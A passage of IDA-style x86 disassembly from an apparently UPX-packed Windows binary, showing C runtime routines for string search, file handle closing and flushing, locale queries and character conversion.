=============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415CA0 proc near ; CODE XREF: sub_4143C8+55p ; sub_41917C+104p arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb add ecx, 1 neg ecx sub edi, 1 mov al, [ebp+arg_4] std repne scasb add edi, 1 cmp [edi], al jz short loc_415CC7 xor eax, eax jmp short loc_415CC9 ; --------------------------------------------------------------------------- loc_415CC7: ; CODE XREF: sub_415CA0+21j mov eax, edi loc_415CC9: ; CODE XREF: sub_415CA0+25j cld pop edi leave retn sub_415CA0 endp ; =============== S U B R O U T I N E ======================================= sub_415CCD proc near ; CODE XREF: sub_41490D+26p xor eax, eax push eax push eax push 3 push eax push 3 push 40000000h push offset dword_41EEEC call dword_41D0FC ; CreateFileA mov dword_42AE44, eax retn sub_415CCD endp ; =============== S U B R O U T I N E ======================================= sub_415CEC proc near ; DATA XREF: UPX0:0041D418o mov eax, dword_42AE44 push esi mov esi, dword_41D0A8 cmp eax, 0FFFFFFFFh jz short loc_415D05 cmp eax, 0FFFFFFFEh jz short loc_415D05 push eax call esi ; dword_41D0A8 loc_415D05: ; CODE XREF: sub_415CEC+Fj ; sub_415CEC+14j mov eax, dword_42AE40 cmp eax, 0FFFFFFFFh jz short loc_415D17 cmp eax, 0FFFFFFFEh jz short loc_415D17 push eax call esi ; dword_41D0A8 loc_415D17: ; CODE XREF: sub_415CEC+21j ; sub_415CEC+26j pop esi retn sub_415CEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D19 proc near ; CODE XREF: sub_415D90+5Ap arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_0] push edi xor edi, edi or ebx, 0FFFFFFFFh cmp esi, edi jnz short loc_415D49 call sub_40C862 push edi push edi push edi push edi push edi mov dword ptr [eax], 16h call sub_40B255 add esp, 14h or eax, ebx jmp short loc_415D8B ; --------------------------------------------------------------------------- loc_415D49: ; CODE XREF: sub_415D19+12j test byte ptr [esi+0Ch], 83h jz short loc_415D86 push esi call sub_414A71 push esi mov ebx, eax call sub_416574 push esi call sub_411ACB push eax call sub_4164A7 add esp, 10h test eax, eax jge short loc_415D75 or ebx, 0FFFFFFFFh jmp short loc_415D86 ; --------------------------------------------------------------------------- loc_415D75: ; CODE XREF: sub_415D19+55j mov eax, [esi+1Ch] cmp eax, edi jz short loc_415D86 push eax call sub_40ADC8 pop ecx mov [esi+1Ch], edi loc_415D86: ; CODE XREF: sub_415D19+34j ; sub_415D19+5Aj ... mov [esi+0Ch], edi mov eax, ebx loc_415D8B: ; CODE XREF: sub_415D19+2Ej pop edi pop esi pop ebx pop ebp retn sub_415D19 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D90 proc near ; CODE XREF: sub_4149D2+43p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_426D18 call __SEH_prolog4 or [ebp+var_1C], 0FFFFFFFFh xor eax, eax mov esi, [ebp+arg_0] xor edi, edi cmp esi, edi setnz al cmp eax, edi jnz short loc_415DCD call sub_40C862 mov dword ptr [eax], 16h push edi push edi push edi push edi push edi call sub_40B255 add esp, 14h or eax, 0FFFFFFFFh jmp short loc_415DD9 ; --------------------------------------------------------------------------- loc_415DCD: ; CODE XREF: sub_415D90+1Ej test byte ptr [esi+0Ch], 40h jz short loc_415DDF mov [esi+0Ch], edi loc_415DD6: ; CODE XREF: sub_415D90+6Fj mov eax, [ebp+var_1C] loc_415DD9: ; CODE XREF: sub_415D90+3Bj call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_415DDF: ; CODE XREF: sub_415D90+41j push esi call sub_4119ED pop ecx mov [ebp+ms_exc.disabled], edi push esi call sub_415D19 pop ecx mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_415E04 jmp short loc_415DD6 sub_415D90 endp ; =============== S U B R O U T I N E ======================================= sub_415E01 proc near ; DATA XREF: UPX0:00426D30o mov esi, [ebp+8] sub_415E01 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_415E04 proc near ; CODE XREF: sub_415D90+6Ap push esi call sub_411A60 pop ecx retn sub_415E04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E0C proc near ; CODE XREF: sub_414AD9+36p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 10h push offset dword_426D38 call __SEH_prolog4 mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_415E33 call sub_40C862 mov dword ptr [eax], 9 loc_415E2B: ; CODE XREF: sub_415E0C+4Dj or eax, 0FFFFFFFFh jmp loc_415EDD ; --------------------------------------------------------------------------- loc_415E33: ; CODE XREF: sub_415E0C+12j xor ebx, ebx cmp eax, ebx jl short loc_415E41 cmp eax, dword_430148 jb short loc_415E5B loc_415E41: ; CODE XREF: sub_415E0C+2Bj ; sub_415E0C+6Dj call sub_40C862 mov dword ptr [eax], 9 push ebx push ebx push ebx push ebx push ebx call sub_40B255 add esp, 14h jmp short loc_415E2B ; --------------------------------------------------------------------------- loc_415E5B: ; CODE XREF: sub_415E0C+33j mov ecx, eax sar ecx, 5 lea edi, ds:430160h[ecx*4] mov esi, eax and esi, 1Fh shl esi, 6 mov ecx, [edi] movsx ecx, byte ptr [esi+ecx+4] and ecx, 1 jz short loc_415E41 push eax call sub_414846 pop ecx mov [ebp+ms_exc.disabled], ebx mov eax, [edi] test byte ptr [esi+eax+4], 1 jz short loc_415EBF push [ebp+arg_0] call sub_4147CF pop ecx push eax call dword_41D0F8 ; FlushFileBuffers test eax, eax jnz short loc_415EAD call dword_41D1D8 ; RtlGetLastWin32Error mov [ebp+var_1C], eax jmp short loc_415EB0 ; --------------------------------------------------------------------------- loc_415EAD: ; CODE XREF: sub_415E0C+94j mov [ebp+var_1C], ebx loc_415EB0: ; CODE XREF: sub_415E0C+9Fj cmp [ebp+var_1C], ebx jz short loc_415ECE call sub_40C875 mov ecx, [ebp+var_1C] mov [eax], ecx loc_415EBF: ; CODE XREF: sub_415E0C+80j call sub_40C862 mov dword ptr [eax], 9 or [ebp+var_1C], 0FFFFFFFFh loc_415ECE: ; CODE XREF: sub_415E0C+A7j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_415EE3 mov eax, [ebp+var_1C] loc_415EDD: ; CODE XREF: sub_415E0C+22j call __SEH_epilog4 retn sub_415E0C endp ; =============== S U B R O U T I N E ======================================= sub_415EE3 proc near ; CODE XREF: sub_415E0C+C9p ; DATA XREF: UPX0:00426D50o push dword ptr [ebp+8] call sub_4148E6 pop ecx retn sub_415EE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415EED proc near ; CODE XREF: sub_414C04+25Dp ; sub_414FEE+152p ... var_C = byte ptr -0Ch var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp sub esp, 0Ch mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax push 6 lea eax, [ebp+var_C] push eax push 1004h push [ebp+arg_0] mov [ebp+var_6], 0 call dword_41D0BC ; GetLocaleInfoA test eax, eax jnz short loc_415F20 or eax, 0FFFFFFFFh jmp short loc_415F2A ; --------------------------------------------------------------------------- loc_415F20: ; CODE XREF: sub_415EED+2Cj lea eax, [ebp+var_C] push eax call sub_40BABC pop ecx loc_415F2A: ; CODE XREF: sub_415EED+31j mov ecx, [ebp+var_4] xor ecx, ebp call sub_40AC1C leave retn sub_415EED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F36 proc near ; CODE XREF: sub_414C04+288p ; sub_414C04+339p ... var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch mov edi, edi push ebp mov ebp, esp sub esp, 34h mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_8] mov ecx, [ebp+arg_10] mov [ebp+var_28], eax mov eax, [ebp+arg_C] push ebx mov [ebp+var_30], eax mov eax, [eax] push esi mov [ebp+var_24], eax mov eax, [ebp+arg_0] push edi xor edi, edi mov [ebp+var_34], ecx mov [ebp+var_20], edi mov [ebp+var_2C], edi cmp eax, [ebp+arg_4] jz loc_4160D5 mov esi, dword_41D138 lea ecx, [ebp+var_18] push ecx push eax call esi ; dword_41D138 mov ebx, dword_41D1F4 test eax, eax jz short loc_415FEB cmp [ebp+var_18], 1 jnz short loc_415FEB lea eax, [ebp+var_18] push eax push [ebp+arg_4] call esi ; dword_41D138 test eax, eax jz short loc_415FEB cmp [ebp+var_18], 1 jnz short loc_415FEB mov esi, [ebp+var_24] mov [ebp+var_2C], 1 cmp esi, 0FFFFFFFFh jnz short loc_415FC1 push [ebp+var_28] call sub_40BFB0 mov esi, eax pop ecx inc esi loc_415FC1: ; CODE XREF: sub_415F36+7Dj cmp esi, edi loc_415FC3: ; CODE XREF: sub_415F36+C8j jle short loc_416020 cmp esi, 7FFFFFF0h ja short loc_416020 lea eax, [esi+esi+8] cmp eax, 400h ja short loc_416007 call sub_4160F0 mov eax, esp cmp eax, edi jz short loc_41601B mov dword ptr [eax], 0CCCCh jmp short loc_416018 ; --------------------------------------------------------------------------- loc_415FEB: ; CODE XREF: sub_415F36+55j ; sub_415F36+5Bj ... push edi push edi push [ebp+var_24] push [ebp+var_28] push 1 push [ebp+arg_0] call ebx ; dword_41D1F4 mov esi, eax cmp esi, edi jnz short loc_415FC3 loc_416000: ; CODE XREF: sub_415F36+F0j xor eax, eax jmp loc_4160D8 ; --------------------------------------------------------------------------- loc_416007: ; CODE XREF: sub_415F36+A0j push eax call sub_40AEA5 pop ecx cmp eax, edi jz short loc_41601B mov dword ptr [eax], 0DDDDh loc_416018: ; CODE XREF: sub_415F36+B3j add eax, 8 loc_41601B: ; CODE XREF: sub_415F36+ABj ; sub_415F36+DAj mov [ebp+var_1C], eax jmp short loc_416023 ; --------------------------------------------------------------------------- loc_416020: ; CODE XREF: sub_415F36:loc_415FC3j ; sub_415F36+95j mov [ebp+var_1C], edi loc_416023: ; CODE XREF: sub_415F36+E8j cmp [ebp+var_1C], edi jz short loc_416000 lea eax, [esi+esi] push eax push edi push [ebp+var_1C] call sub_40BD40 add esp, 0Ch push esi push [ebp+var_1C] push [ebp+var_24] push [ebp+var_28] push 1 push [ebp+arg_0] call ebx ; dword_41D1F4 test eax, eax jz short loc_4160CC mov ebx, [ebp+var_34] cmp ebx, edi jz short loc_416071 push edi push edi push [ebp+arg_14] push ebx push esi push [ebp+var_1C] push edi push [ebp+arg_4] call dword_41D07C ; WideCharToMultiByte test eax, eax jz short loc_4160CC mov [ebp+var_20], ebx jmp short loc_4160CC ; --------------------------------------------------------------------------- loc_416071: ; CODE XREF: sub_415F36+11Cj mov ebx, dword_41D07C cmp [ebp+var_2C], edi jnz short loc_416090 push edi push edi push edi push edi push esi push [ebp+var_1C] push edi push [ebp+arg_4] call ebx ; dword_41D07C mov esi, eax cmp esi, edi jz short loc_4160CC loc_416090: ; CODE XREF: sub_415F36+144j push esi push 1 call sub_40EF6F pop ecx pop ecx mov [ebp+var_20], eax cmp eax, edi jz short loc_4160CC push edi push edi push esi push eax push esi push [ebp+var_1C] push edi push [ebp+arg_4] call ebx ; dword_41D07C cmp eax, edi jnz short loc_4160C1 push [ebp+var_20] call sub_40ADC8 pop ecx mov [ebp+var_20], edi jmp short loc_4160CC ; --------------------------------------------------------------------------- loc_4160C1: ; CODE XREF: sub_415F36+17Bj cmp [ebp+var_24], 0FFFFFFFFh jz short loc_4160CC mov ecx, [ebp+var_30] mov [ecx], eax loc_4160CC: ; CODE XREF: sub_415F36+115j ; sub_415F36+134j ... push [ebp+var_1C] call sub_401000 pop ecx loc_4160D5: ; CODE XREF: sub_415F36+3Aj mov eax, [ebp+var_20] loc_4160D8: ; CODE XREF: sub_415F36+CCj lea esp, [ebp-40h] pop edi pop esi pop ebx mov ecx, [ebp+var_4] xor ecx, ebp call sub_40AC1C leave retn sub_415F36 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4160F0 proc near ; CODE XREF: sub_401040+29p ; sub_401304+73p ... arg_0 = byte ptr 4 push ecx lea ecx, [esp+4+arg_0] sub ecx, eax and ecx, 0Fh add eax, ecx sbb ecx, ecx or eax, ecx pop ecx jmp sub_40E000 sub_4160F0 endp ; --------------------------------------------------------------------------- push ecx lea ecx, [esp+8] sub ecx, eax and ecx, 7 add eax, ecx sbb ecx, ecx or eax, ecx pop ecx jmp sub_40E000 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41611C proc near ; CODE XREF: sub_41620E+53p ; sub_416B21+A1p var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h mov edi, edi push ebp mov ebp, esp sub esp, 10h push ebx xor ebx, ebx push esi push edi cmp [ebp+arg_8], ebx jz loc_416207 push [ebp+arg_C] lea ecx, [ebp+var_10] call sub_40C799 cmp [ebp+arg_0], ebx jnz short loc_416170 loc_416142: ; CODE XREF: sub_41611C+59j call sub_40C862 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40B255 add esp, 14h cmp [ebp+var_4], bl jz short loc_416166 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_416166: ; CODE XREF: sub_41611C+41j mov eax, 7FFFFFFFh jmp loc_416209 ; --------------------------------------------------------------------------- loc_416170: ; CODE XREF: sub_41611C+24j mov edi, [ebp+arg_4] cmp edi, ebx jz short loc_416142 mov esi, 7FFFFFFFh cmp [ebp+arg_8], esi jbe short loc_4161A9 call sub_40C862 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40B255 add esp, 14h cmp [ebp+var_4], bl jz short loc_4161A5 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_4161A5: ; CODE XREF: sub_41611C+80j mov eax, esi jmp short loc_416209 ; --------------------------------------------------------------------------- loc_4161A9: ; CODE XREF: sub_41611C+63j mov eax, [ebp+var_10] cmp [eax+14h], ebx jnz short loc_4161CE push [ebp+arg_8] push edi push [ebp+arg_0] call sub_4166F0 add esp, 0Ch loc_4161C0: ; CODE XREF: sub_41611C+E9j cmp [ebp+var_4], bl jz short loc_416209 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh jmp short loc_416209 ; --------------------------------------------------------------------------- loc_4161CE: ; CODE XREF: sub_41611C+93j ; sub_41611C+E3j mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] lea ecx, [ebp+var_10] push ecx push eax call sub_4165A5 inc [ebp+arg_0] mov esi, eax movzx eax, byte ptr [edi] lea ecx, [ebp+var_10] push ecx push eax call sub_4165A5 add esp, 10h inc edi dec [ebp+arg_8] jz short loc_416201 cmp esi, ebx jz short loc_416201 cmp esi, eax jz short loc_4161CE loc_416201: ; CODE XREF: sub_41611C+DBj ; sub_41611C+DFj sub esi, eax mov eax, esi jmp short loc_4161C0 ; --------------------------------------------------------------------------- loc_416207: ; CODE XREF: sub_41611C+10j xor eax, eax loc_416209: ; CODE XREF: sub_41611C+4Fj ; sub_41611C+8Bj ... pop edi pop esi pop ebx leave retn sub_41611C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41620E proc near ; CODE XREF: sub_415875+33p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp push esi xor esi, esi cmp dword_42ED1C, esi jnz short loc_416257 cmp [ebp+arg_0], esi jnz short loc_416242 loc_416223: ; CODE XREF: sub_41620E+37j ; sub_41620E+40j call sub_40C862 push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40B255 add esp, 14h mov eax, 7FFFFFFFh jmp short loc_416269 ; --------------------------------------------------------------------------- loc_416242: ; CODE XREF: sub_41620E+13j cmp [ebp+arg_4], esi jz short loc_416223 cmp [ebp+arg_8], 7FFFFFFFh ja short loc_416223 pop esi pop ebp jmp sub_4166F0 ; --------------------------------------------------------------------------- loc_416257: ; CODE XREF: sub_41620E+Ej push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41611C add esp, 10h loc_416269: ; CODE XREF: sub_41620E+32j pop esi pop ebp retn sub_41620E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41626C proc near ; CODE XREF: sub_41635A+10p var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h mov edi, edi push ebp mov ebp, esp sub esp, 10h push ebx push [ebp+arg_C] lea ecx, [ebp+var_10] call sub_40C799 mov ecx, [ebp+arg_8] xor ebx, ebx cmp ecx, ebx jnz short loc_41629C cmp [ebp+var_4], bl jz short loc_416295 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_416295: ; CODE XREF: sub_41626C+20j xor eax, eax jmp loc_416357 ; --------------------------------------------------------------------------- loc_41629C: ; CODE XREF: sub_41626C+1Bj cmp [ebp+arg_0], ebx jnz short loc_4162CF loc_4162A1: ; CODE XREF: sub_41626C+66j call sub_40C862 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40B255 add esp, 14h cmp [ebp+var_4], bl jz short loc_4162C5 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_4162C5: ; CODE XREF: sub_41626C+50j mov eax, 7FFFFFFFh jmp loc_416357 ; --------------------------------------------------------------------------- loc_4162CF: ; CODE XREF: sub_41626C+33j cmp [ebp+arg_4], ebx jz short loc_4162A1 push esi mov esi, 7FFFFFFFh cmp ecx, esi jbe short loc_4162F8 call sub_40C862 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40B255 add esp, 14h jmp short loc_416337 ; --------------------------------------------------------------------------- loc_4162F8: ; CODE XREF: sub_41626C+70j mov eax, [ebp+var_C] cmp [eax+8], ebx jnz short loc_416314 push [ebp+arg_C] push ecx push [ebp+arg_4] push [ebp+arg_0] call sub_416B21 add esp, 10h jmp short loc_41634A ; --------------------------------------------------------------------------- loc_416314: ; CODE XREF: sub_41626C+92j push dword ptr [eax+4] push ecx push [ebp+arg_4] push ecx push [ebp+arg_0] push 1001h push dword ptr [eax+0Ch] lea eax, [ebp+var_10] push eax call sub_416ADF add esp, 20h cmp eax, ebx jnz short loc_416347 loc_416337: ; CODE XREF: sub_41626C+8Aj cmp [ebp+var_4], bl jz short loc_416343 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_416343: ; CODE XREF: sub_41626C+CEj mov eax, esi jmp short loc_416356 ; --------------------------------------------------------------------------- loc_416347: ; CODE XREF: sub_41626C+C9j add eax, 0FFFFFFFEh loc_41634A: ; CODE XREF: sub_41626C+A6j cmp [ebp+var_4], bl jz short loc_416356 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh loc_416356: ; CODE XREF: sub_41626C+D9j ; sub_41626C+E1j pop esi loc_416357: ; CODE XREF: sub_41626C+2Bj ; sub_41626C+5Ej pop ebx leave retn sub_41626C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41635A proc near ; CODE XREF: sub_415A57+64p ; sub_416C1B+13p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41626C add esp, 10h pop ebp retn sub_41635A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416374 proc near ; CODE XREF: sub_415A57+26p ; sub_416CC7+87p var_8 = dword ptr -8 var_4 = dword ptr -4 mov edi, edi push ebp mov ebp, esp push ecx push ecx push ebx push esi xor esi, esi push edi mov edi, dword_42E894 mov [ebp+var_4], esi mov eax, [edi] cmp eax, esi jz short loc_4163F4 mov ebx, dword_41D07C loc_416395: ; CODE XREF: sub_416374+7Ej push esi push esi push esi push esi push 0FFFFFFFFh push eax push esi push esi call ebx ; dword_41D07C mov [ebp+var_8], eax cmp eax, esi jz short loc_4163FB push 1 push eax call sub_40EF6F pop ecx pop ecx mov [ebp+var_4], eax cmp eax, esi jz short loc_4163FB push esi push esi push [ebp+var_8] push eax push 0FFFFFFFFh push dword ptr [edi] push esi push esi call ebx ; dword_41D07C test eax, eax jz short loc_416400 lea eax, [ebp+var_4] push esi push eax call sub_416CC7 pop ecx pop ecx test eax, eax jge short loc_4163EB cmp [ebp+var_4], esi jz short loc_4163EB push [ebp+var_4] call sub_40ADC8 pop ecx mov [ebp+var_4], esi loc_4163EB: ; CODE XREF: sub_416374+64j ; sub_416374+69j add edi, 4 mov eax, [edi] cmp eax, esi jnz short loc_416395 loc_4163F4: ; CODE XREF: sub_416374+19j xor eax, eax loc_4163F6: ; CODE XREF: sub_416374+8Aj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4163FB: ; CODE XREF: sub_416374+31j ; sub_416374+42j ... or eax, 0FFFFFFFFh jmp short loc_4163F6 ; --------------------------------------------------------------------------- loc_416400: ; CODE XREF: sub_416374+54j push [ebp+var_4] call sub_40ADC8 pop ecx jmp short loc_4163FB sub_416374 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41640B proc near ; CODE XREF: sub_4164A7+94p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push edi push esi call sub_4147CF pop ecx cmp eax, 0FFFFFFFFh jz short loc_416471 mov eax, dword_430160 cmp esi, 1 jnz short loc_416434 test byte ptr [eax+84h], 1 jnz short loc_41643F loc_416434: ; CODE XREF: sub_41640B+1Ej cmp esi, 2 jnz short loc_416455 test byte ptr [eax+44h], 1 jz short loc_416455 loc_41643F: ; CODE XREF: sub_41640B+27j push 2 call sub_4147CF push 1 mov edi, eax call sub_4147CF pop ecx pop ecx cmp eax, edi jz short loc_416471 loc_416455: ; CODE XREF: sub_41640B+2Cj ; sub_41640B+32j push esi call sub_4147CF pop ecx push eax call dword_41D0A8 ; CloseHandle test eax, eax jnz short loc_416471 call dword_41D1D8 ; RtlGetLastWin32Error mov edi, eax jmp short loc_416473 ; --------------------------------------------------------------------------- loc_416471: ; CODE XREF: sub_41640B+14j ; sub_41640B+48j ... xor edi, edi loc_416473: ; CODE XREF: sub_41640B+64j push esi call sub_414749 mov eax, esi sar eax, 5 mov eax, dword_430160[eax*4] and esi, 1Fh shl esi, 6 pop ecx mov byte ptr [eax+esi+4], 0 test edi, edi jz short loc_4164A1 push edi call sub_40C888 pop ecx or eax, 0FFFFFFFFh jmp short loc_4164A3 ; --------------------------------------------------------------------------- loc_4164A1: ; CODE XREF: sub_41640B+88j xor eax, eax loc_4164A3: ; CODE XREF: sub_41640B+94j pop edi pop esi pop ebp retn sub_41640B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4164A7 proc near ; CODE XREF: sub_415D19+4Bp var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 10h push offset dword_426D58 call __SEH_prolog4 mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_4164D6 call sub_40C875 and dword ptr [eax], 0 call sub_40C862 mov dword ptr [eax], 9 loc_4164CE: ; CODE XREF: sub_4164A7+5Cj or eax, 0FFFFFFFFh jmp loc_416564 ; --------------------------------------------------------------------------- loc_4164D6: ; CODE XREF: sub_4164A7+12j xor edi, edi cmp eax, edi jl short loc_4164E4 cmp eax, dword_430148 jb short loc_416505 loc_4164E4: ; CODE XREF: sub_4164A7+33j ; sub_4164A7+7Cj call sub_40C875 mov [eax], edi call sub_40C862 mov dword ptr [eax], 9 push edi push edi push edi push edi push edi call sub_40B255 add esp, 14h jmp short loc_4164CE ; --------------------------------------------------------------------------- loc_416505: ; CODE XREF: sub_4164A7+3Bj mov ecx, eax sar ecx, 5 lea ebx, ds:430160h[ecx*4] mov esi, eax and esi, 1Fh shl esi, 6 mov ecx, [ebx] movsx ecx, byte ptr [ecx+esi+4] and ecx, 1 jz short loc_4164E4 push eax call sub_414846 pop ecx mov [ebp+ms_exc.disabled], edi mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_416546 push [ebp+arg_0] call sub_41640B pop ecx mov [ebp+var_1C], eax jmp short loc_416555 ; --------------------------------------------------------------------------- loc_416546: ; CODE XREF: sub_4164A7+8Fj call sub_40C862 mov dword ptr [eax], 9 or [ebp+var_1C], 0FFFFFFFFh loc_416555: ; CODE XREF: sub_4164A7+9Dj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_41656A mov eax, [ebp+var_1C] loc_416564: ; CODE XREF: sub_4164A7+2Aj call __SEH_epilog4 retn sub_4164A7 endp ; =============== S U B R O U T I N E ======================================= sub_41656A proc near ; CODE XREF: sub_4164A7+B5p ; DATA XREF: UPX0:00426D70o push dword ptr [ebp+8] call sub_4148E6 pop ecx retn sub_41656A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416574 proc near ; CODE XREF: sub_415D19+3Fp arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_4165A2 test al, 8 jz short loc_4165A2 push dword ptr [esi+8] call sub_40ADC8 and dword ptr [esi+0Ch], 0FFFFFBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_4165A2: ; CODE XREF: sub_416574+Ej ; sub_416574+12j pop esi pop ebp retn sub_416574 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4165A5 proc near ; CODE XREF: sub_41611C+BDp ; sub_41611C+CFp ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp sub esp, 18h push ebx push esi push [ebp+arg_4] lea ecx, [ebp+var_18] call sub_40C799 mov ebx, [ebp+arg_0] mov esi, 100h cmp ebx, esi jnb short loc_41661A mov ecx, [ebp+var_18] cmp dword ptr [ecx+0ACh], 1 jle short loc_4165E6 lea eax, [ebp+var_18] push eax push 1 push ebx call sub_41449B mov ecx, [ebp+var_18] add esp, 0Ch jmp short loc_4165F3 ; --------------------------------------------------------------------------- loc_4165E6: ; CODE XREF: sub_4165A5+2Bj mov eax, [ecx+0C8h] movzx eax, word ptr [eax+ebx*2] and eax, 1 loc_4165F3: ; CODE XREF: sub_4165A5+3Fj test eax, eax jz short loc_416606 mov eax, [ecx+0CCh] movzx eax, byte ptr [eax+ebx] jmp loc_4166A9 ; --------------------------------------------------------------------------- loc_416606: ; CODE XREF: sub_4165A5+50j ; sub_4165A5+ECj cmp [ebp+var_C], 0 jz short loc_416613 mov eax, [ebp+var_10] and dword ptr [eax+70h], 0FFFFFFFDh loc_416613: ; CODE XREF: sub_4165A5+65j mov eax, ebx jmp loc_4166B6 ; --------------------------------------------------------------------------- loc_41661A: ; CODE XREF: sub_4165A5+1Fj mov eax, [ebp+var_18] cmp dword ptr [eax+0ACh], 1 jle short loc_416657 mov [ebp+arg_0], ebx sar [ebp+arg_0], 8 lea eax, [ebp+var_18] push eax mov eax, [ebp+arg_0] and eax, 0FFh push eax call sub_4127F4 pop ecx pop ecx test eax, eax jz short loc_416657 mov al, byte ptr [ebp+arg_0] push 2 mov [ebp+var_4], al mov [ebp+var_3], bl mov [ebp+var_2], 0 pop ecx jmp short loc_41666C ; --------------------------------------------------------------------------- loc_416657: ; CODE XREF: sub_4165A5+7Fj ; sub_4165A5+9Ej call sub_40C862 mov dword ptr [eax], 2Ah xor ecx, ecx mov [ebp+var_4], bl mov [ebp+var_3], 0 inc ecx loc_41666C: ; CODE XREF: sub_4165A5+B0j mov eax, [ebp+var_18] push 1 push dword ptr [eax+4] lea edx, [ebp+var_8] push 3 push edx push ecx lea ecx, [ebp+var_4] push ecx push esi push dword ptr [eax+14h] lea eax, [ebp+var_18] push eax call sub_414FA9 add esp, 24h test eax, eax jz loc_416606 cmp eax, 1 movzx eax, [ebp+var_8] jz short loc_4166A9 movzx ecx, [ebp+var_7] shl eax, 8 or eax, ecx loc_4166A9: ; CODE XREF: sub_4165A5+5Cj ; sub_4165A5+F9j cmp [ebp+var_C], 0 jz short loc_4166B6 mov ecx, [ebp+var_10] and dword ptr [ecx+70h], 0FFFFFFFDh loc_4166B6: ; CODE XREF: sub_4165A5+70j ; sub_4165A5+108j pop esi pop ebx leave retn sub_4165A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4166BA proc near ; CODE XREF: sub_418D6B+1Bp ; sub_418D6B+38p arg_0 = dword ptr 8 mov edi, 